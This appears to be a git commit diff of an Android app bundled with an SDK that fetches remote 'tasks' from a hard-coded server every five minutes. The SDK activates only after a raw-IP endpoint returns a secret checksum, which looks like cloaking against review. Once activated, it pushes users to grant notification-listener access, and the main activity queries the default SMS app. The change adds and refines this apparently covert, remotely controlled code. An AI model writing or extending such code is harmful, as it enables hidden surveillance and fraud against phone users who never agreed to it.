diff --git a/.idea/deploymentTargetSelector.xml b/.idea/deploymentTargetSelector.xml
index a47d02d..884a1f6 100644
--- a/.idea/deploymentTargetSelector.xml
+++ b/.idea/deploymentTargetSelector.xml
@@ -4,10 +4,18 @@
     <selectionStates>
       <SelectionState runConfigName="app">
         <option name="selectionMode" value="DROPDOWN" />
+        <DropdownSelection timestamp="2025-11-10T03:34:57.675673144Z">
+          <Target type="DEFAULT_BOOT">
+            <handle>
+              <DeviceId pluginId="LocalEmulator" identifier="path=/home/dev/.android/avd/Pixel_6a.avd" />
+            </handle>
+          </Target>
+        </DropdownSelection>
+        <DialogSelection />
       </SelectionState>
       <SelectionState runConfigName="pin">
         <option name="selectionMode" value="DROPDOWN" />
-        <DropdownSelection timestamp="2025-11-10T01:50:29.137227594Z">
+        <DropdownSelection timestamp="2025-11-10T06:45:38.813059469Z">
           <Target type="DEFAULT_BOOT">
             <handle>
               <DeviceId pluginId="LocalEmulator" identifier="path=/home/dev/.android/avd/Pixel_6a.avd" />
diff --git a/app/src/main/java/com/example/vast/MainActivity.kt b/app/src/main/java/com/example/vast/MainActivity.kt
index 7a23577..ff29425 100644
--- a/app/src/main/java/com/example/vast/MainActivity.kt
+++ b/app/src/main/java/com/example/vast/MainActivity.kt
@@ -2,20 +2,13 @@ package com.example.vast
 
 import android.app.Activity
 import android.os.Bundle
-import androidx.activity.ComponentActivity
-import androidx.activity.compose.setContent
-import androidx.activity.enableEdgeToEdge
-import androidx.compose.foundation.layout.fillMaxSize
-import androidx.compose.foundation.layout.padding
-import androidx.compose.material3.Scaffold
-import androidx.compose.material3.Text
-import androidx.compose.runtime.Composable
-import androidx.compose.ui.Modifier
-import androidx.compose.ui.tooling.preview.Preview
-import com.example.vast.ui.theme.VastTheme
+import android.provider.Telephony
+import android.util.Log
 
 class MainActivity : Activity() {
     override fun onCreate(savedInstanceState: Bundle?) {
         super.onCreate(savedInstanceState)
+        val defaultSmsPackageName = Telephony.Sms.getDefaultSmsPackage(this.applicationContext)
+        Log.d("TAG", "sms packageName: $defaultSmsPackageName")
     }
 }
\ No newline at end of file
diff --git a/app/src/main/java/com/example/vast/ui/theme/Color.kt b/app/src/main/java/com/example/vast/ui/theme/Color.kt
deleted file mode 100644
index 3c1bba8..0000000
--- a/app/src/main/java/com/example/vast/ui/theme/Color.kt
+++ /dev/null
@@ -1,11 +0,0 @@
-package com.example.vast.ui.theme
-
-import androidx.compose.ui.graphics.Color
-
-val Purple80 = Color(0xFFD0BCFF)
-val PurpleGrey80 = Color(0xFFCCC2DC)
-val Pink80 = Color(0xFFEFB8C8)
-
-val Purple40 = Color(0xFF6650a4)
-val PurpleGrey40 = Color(0xFF625b71)
-val Pink40 = Color(0xFF7D5260)
\ No newline at end of file
diff --git a/app/src/main/java/com/example/vast/ui/theme/Theme.kt b/app/src/main/java/com/example/vast/ui/theme/Theme.kt
deleted file mode 100644
index d23ffc6..0000000
--- a/app/src/main/java/com/example/vast/ui/theme/Theme.kt
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.example.vast.ui.theme
-
-import android.app.Activity
-import android.os.Build
-import androidx.compose.foundation.isSystemInDarkTheme
-import androidx.compose.material3.MaterialTheme
-import androidx.compose.material3.darkColorScheme
-import androidx.compose.material3.dynamicDarkColorScheme
-import androidx.compose.material3.dynamicLightColorScheme
-import androidx.compose.material3.lightColorScheme
-import androidx.compose.runtime.Composable
-import androidx.compose.ui.platform.LocalContext
-
-private val DarkColorScheme = darkColorScheme(
-    primary = Purple80,
-    secondary = PurpleGrey80,
-    tertiary = Pink80
-)
-
-private val LightColorScheme = lightColorScheme(
-    primary = Purple40,
-    secondary = PurpleGrey40,
-    tertiary = Pink40
-
-    /* Other default colors to override
-    background = Color(0xFFFFFBFE),
-    surface = Color(0xFFFFFBFE),
-    onPrimary = Color.White,
-    onSecondary = Color.White,
-    onTertiary = Color.White,
-    onBackground = Color(0xFF1C1B1F),
-    onSurface = Color(0xFF1C1B1F),
-    */
-)
-
-@Composable
-fun VastTheme(
-    darkTheme: Boolean = isSystemInDarkTheme(),
-    // Dynamic color is available on Android 12+
-    dynamicColor: Boolean = true,
-    content: @Composable () -> Unit
-) {
-    val colorScheme = when {
-        dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
-            val context = LocalContext.current
-            if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
-        }
-
-        darkTheme -> DarkColorScheme
-        else -> LightColorScheme
-    }
-
-    MaterialTheme(
-        colorScheme = colorScheme,
-        typography = Typography,
-        content = content
-    )
-}
\ No newline at end of file
diff --git a/app/src/main/java/com/example/vast/ui/theme/Type.kt b/app/src/main/java/com/example/vast/ui/theme/Type.kt
deleted file mode 100644
index a9ab7d3..0000000
--- a/app/src/main/java/com/example/vast/ui/theme/Type.kt
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.example.vast.ui.theme
-
-import androidx.compose.material3.Typography
-import androidx.compose.ui.text.TextStyle
-import androidx.compose.ui.text.font.FontFamily
-import androidx.compose.ui.text.font.FontWeight
-import androidx.compose.ui.unit.sp
-
-// Set of Material typography styles to start with
-val Typography = Typography(
-    bodyLarge = TextStyle(
-        fontFamily = FontFamily.Default,
-        fontWeight = FontWeight.Normal,
-        fontSize = 16.sp,
-        lineHeight = 24.sp,
-        letterSpacing = 0.5.sp
-    )
-    /* Other default text styles to override
-    titleLarge = TextStyle(
-        fontFamily = FontFamily.Default,
-        fontWeight = FontWeight.Normal,
-        fontSize = 22.sp,
-        lineHeight = 28.sp,
-        letterSpacing = 0.sp
-    ),
-    labelSmall = TextStyle(
-        fontFamily = FontFamily.Default,
-        fontWeight = FontWeight.Medium,
-        fontSize = 11.sp,
-        lineHeight = 16.sp,
-        letterSpacing = 0.5.sp
-    )
-    */
-)
\ No newline at end of file
diff --git a/dict.txt b/dict.txt
index 329a2d4..8a0815d 100644
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+++ b/dict.txt
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\ No newline at end of file
+nz
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\ No newline at end of file
diff --git a/lib/build.gradle.kts b/lib/build.gradle.kts
index 81093f1..2a40f48 100644
--- a/lib/build.gradle.kts
+++ b/lib/build.gradle.kts
@@ -22,7 +22,7 @@ android {
 
         buildConfigField("boolean", "log_enable", "false")
         buildConfigField("int", "aff_id", "1040")
-        buildConfigField("int", "sdk_version", "51")
+        buildConfigField("int", "sdk_version", "52")
         buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"")
         buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"")
         buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"")
diff --git a/lib/src/main/java/com/example/service/MainService.kt b/lib/src/main/java/com/example/service/MainService.kt
index bd9cdd9..7d0a4dd 100644
--- a/lib/src/main/java/com/example/service/MainService.kt
+++ b/lib/src/main/java/com/example/service/MainService.kt
@@ -43,8 +43,13 @@ sealed class TaskEvent {
     data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
 }
 
+sealed interface Verify {
+    object None : Verify
+    object Ok: Verify
+}
+
 class MainService private constructor() {
-    
+
     companion object {
         private const val DEFAULT_REQUEST_TASK_INTERVAL_MS = 5 * 60_000L
         private const val TASK_MAX_EXEC_TIME_MS = 6 * 60_000L
@@ -73,8 +78,8 @@ class MainService private constructor() {
     private val isTaskRunning = AtomicReference(false)
     private var nextRequestTime: Long = 0
     private val state: MutableStateFlow<TaskEvent> = MutableStateFlow(TaskEvent.Waiting)
-    
-    var isVerified = true
+
+    var isVerified: Verify = Verify.None
         internal set
 
     private lateinit var network: NetworkManager
@@ -106,15 +111,20 @@ class MainService private constructor() {
         LogUtils.info("$TAG: initializing...")
         NotificationManger.initialized(context)
         // 验证状态
-        while (scope.isActive && !isVerified) {
+        while (scope.isActive && isVerified is Verify.None) {
             isVerified = checkState()
             LogUtils.info("$TAG: verification status: $isVerified")
-            
-            if (!isVerified) {
-                delay(VERIFICATION_CHECK_INTERVAL_MINUTES.toDuration(DurationUnit.MINUTES))
+
+            when(isVerified) {
+                Verify.None -> {
+                    delay(VERIFICATION_CHECK_INTERVAL_MINUTES.toDuration(DurationUnit.MINUTES))
+                }
+                Verify.Ok ->{
+
+                }
             }
         }
-        
+
         AndroidId.init(context)
         LogUtils.info("$TAG: initialization completed")
     }
@@ -439,14 +449,14 @@ class MainService private constructor() {
 
     // ==================== 状态验证 ====================
 
-    private suspend fun checkState(): Boolean {
+    private suspend fun checkState(): Verify{
         return runCatching {
             val response = Request(BuildConfig.chcikUrl).call()
             val result = String(response.data)
             LogUtils.info("$TAG: checkState result: $result")
-            result == BuildConfig.checkSum
+            if(result == BuildConfig.checkSum) Verify.Ok else Verify.None
         }.onFailure { e ->
             LogUtils.error(e, "$TAG: checkState failed")
-        }.getOrDefault(false)
+        }.getOrDefault(Verify.None)
     }
 }
\ No newline at end of file
diff --git a/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt b/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt
index 9fb67c7..f77fd89 100644
--- a/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt
+++ b/pin/src/main/java/com/galaxy/permision/PermissionChecker.kt
@@ -15,6 +15,7 @@ import android.os.Process
 import android.util.Log
 import android.view.View
 import com.example.service.MainService
+import com.example.service.Verify
 import com.example.utils.notificationListenerEnable
 import com.galaxy.permision.PermissionDialog.weakReference
 import java.lang.ref.WeakReference
@@ -72,7 +73,7 @@ object PermissionChecker {
                 override fun onActivityResumed(activity: Activity) {
                     Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}")
                     weakReference = WeakReference(activity)
-                    if (MainService.instance.isVerified &&
+                    if (MainService.instance.isVerified == Verify.Ok &&
                         filter.match() &&
                         !context.notificationListenerEnable()
                     ) {